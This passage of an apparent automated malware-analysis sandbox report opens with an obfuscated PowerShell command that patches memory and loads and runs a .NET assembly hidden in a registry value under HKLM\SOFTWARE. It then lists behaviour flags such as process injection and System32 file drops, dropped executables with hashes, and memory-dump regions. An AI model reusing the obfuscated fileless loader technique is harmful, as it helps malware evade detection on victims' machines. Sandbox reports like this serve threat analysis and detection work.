me.InteropServices.Marshal]::GetDelegateForFunctionPointer($cGhzVEvueLIiHogBn,$SvHzbUnukVcXKBLsYjMQoR).Invoke($WsZtfoHJdRHdMNOwB,[uint32]8,0x20,[ref]$kbSgSmazoN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue('dia'+[Char](108)+''+[Char](101)+''+[Char](114)+'s'+'t'+''+'a'+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                        1⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:2384

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            powershell.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                            • Size 2KB
                            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                            • MD5 SHA1 SHA512

                            vbc.exe.log

                            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log
                            • Size 226B
                            • SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
                            • MD5 SHA1 SHA512

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 19KB
                            • SHA256 30a3f67e511edb7fb52b3cce8ae46e9c738bfecddc499a6730d060a78dd9eb78
                            • MD5 SHA1 SHA512 SSDEEP

                            StartupProfileData-NonInteractive

                            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                            • Size 948B
                            • SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
                            • MD5 SHA1 SHA512

                            C4Loader.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                            • Size 1.4MB
                            • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                            • MD5 SHA1 SHA512 SSDEEP

                            C4Loader.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                            • Size 1.4MB
                            • SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
                            • MD5 SHA1 SHA512 SSDEEP

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SmartDefRun.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                            • Size 3.7MB
                            • SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            SysApp.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                            • Size 1.4MB
                            • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 455KB
                            • SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
                            • MD5 SHA1 SHA512 SSDEEP

                            new2.exe

                            • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                            • Size 455KB
                            • SHA256 f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
                            • MD5 SHA1 SHA512 SSDEEP

                            memory/600-225-0x00007FF8AD8B0000-0x00007FF8AD8C0000-memory.dmp

                            memory/656-226-0x00007FF8AD8B0000-0x00007FF8AD8C0000-memory.dmp

                            memory/1512-171-0x00000000003B0000-0x00000000003D0000-memory.dmp

                            memory/1512-185-0x0000000005BB0000-0x0000000005BCE000-memory.dmp

                            memory/1512-181-0x0000000004E30000-0x0000000004E6C000-memory.dmp

                            memory/1512-180-0x0000000004F00000-0x000000000500A000-memory.dmp

                            memory/1512-186-0x0000000006910000-0x0000000006AD2000-memory.dmp

                            memory/1512-179-0x0000000004DD0000-0x0000000004DE2000-memory.dmp

                            memory/1512-187-0x0000000007010000-0x000000000753C000-memory.dmp

                            memory/1512-184-0x0000000005170000-0x00000000051E6000-memory.dmp

                            memory/1512-188-0x00000000068C0000-0x0000000006910000-memory.dmp

                            memory/1512-178-0x0000000005380000-0x0000000005998000-memory.dmp

                            memory/1964-133-0x0000000000400000-0x0000000000408000-memory.dmp

                            memory/2252-204-0x00007FF8CE0B0000-0x00007FF8CEB71000-memory.dmp

                            memory/2252-207-0x00007FF8CE0B0000-0x00007FF8CEB71000-memory.dmp

                            memory/2384-219-0x00007FF8ED830000-0x00007FF8EDA25000-memory.dmp

                            memory/2384-210-0x00007FF8CE1D0000-0x00007FF8CEC91000-memory.dmp

                            memory/2384-211-0x00007FF8ED830000-0x00007FF8EDA25000-memory.dmp

                            memory/2384-212-0x00007FF8EBFB0000-0x00007FF8EC06E000-memory.dmp

                            memory/2384-216-0x00007FF8ED830000-0x00007FF8EDA25000-memory.dmp

                            memory/2384-217-0x00007FF8EBFB0000-0x00007FF8EC06E000-memory.dmp

                            memory/2384-218-0x00007FF8CE1D0000-0x00007FF8CEC91000-memory.dmp

                            memory/2384-220-0x00007FF8EBFB0000-0x00007FF8EC06E000-memory.dmp

                            memory/3288-192-0x0000000002880000-0x00000000029BD000-memory.dmp

                            memory/3288-183-0x0000000002880000-0x00000000029BD000-memory.dmp

                            memory/3288-189-0x0000000002373000-0x0000000002877000-memory.dmp

                            memory/3288-182-0x0000000002373000-0x0000000002877000-memory.dmp

                            memory/3668-172-0x0000000005430000-0x000000000543A000-memory.dmp

                            memory/3668-164-0x0000000000600000-0x000000000076C000-memory.dmp

                            memory/3668-166-0x0000000005020000-0x00000000050B2000-memory.dmp

                            memory/4120-223-0x00007FF8EBFB0000-0x00007FF8EC06E000-memory.dmp

                            memory/4120-224-0x00007FF8ED830000-0x00007FF8EDA25000-memory.dmp

                            memory/4120-213-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/4120-221-0x0000000140000000-0x0000000140029000-memory.dmp

                            memory/4120-222-0x00007FF8ED830000-0x00007FF8EDA25000-memory.dmp

                            memory/4656-190-0x000001CC662E0000-0x000001CC66302000-memory.dmp

                            memory/4656-193-0x00007FF8CE0B0000-0x00007FF8CEB71000-memory.dmp

                            memory/4828-151-0x0000000007D80000-0x0000000007E16000-memory.dmp

                            memory/4828-140-0x0000000005960000-0x0000000005F88000-memory.dmp

                            memory/4828-141-0x00000000057F0000-0x0000000005812000-memory.dmp

                            memory/4828-142-0x0000000006080000-0x00000000060E6000-memory.dmp

                            memory/4828-143-0x0000000006160000-0x00000000061C6000-memory.dmp

                            memory/4828-144-0x00000000067A0000-0x00000000067BE000-memory.dmp

                            memory/4828-145-0x0000000006D70000-0x0000000006DA2000-memory.dmp

                            memory/4828-146-0x0000000070880000-0x00000000708CC000-memory.dmp

                            memory/4828-147-0x0000000006D50000-0x0000000006D6E000-memory.dmp

                            memory/4828-148-0x0000000008100000-0x000000000877A000-memory.dmp

                            memory/4828-149-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

                            memory/4828-150-0x0000000007B30000-0x0000000007B3A000-memory.dmp

                            memory/4828-152-0x0000000007CF0000-0x0000000007CFE000-memory.dmp

                            memory/4828-153-0x0000000007D40000-0x0000000007D5A000-memory.dmp

                            memory/4828-154-0x0000000007D30000-0x0000000007D38000-memory.dmp

                            memory/4828-155-0x0000000007E50000-0x0000000007E72000-memory.dmp

                            memory/4828-156-0x0000000008D30000-0x00000000092D4000-memory.dmp

                            memory/4828-139-0x00000000051C0000-0x00000000051F6000-memory.dmp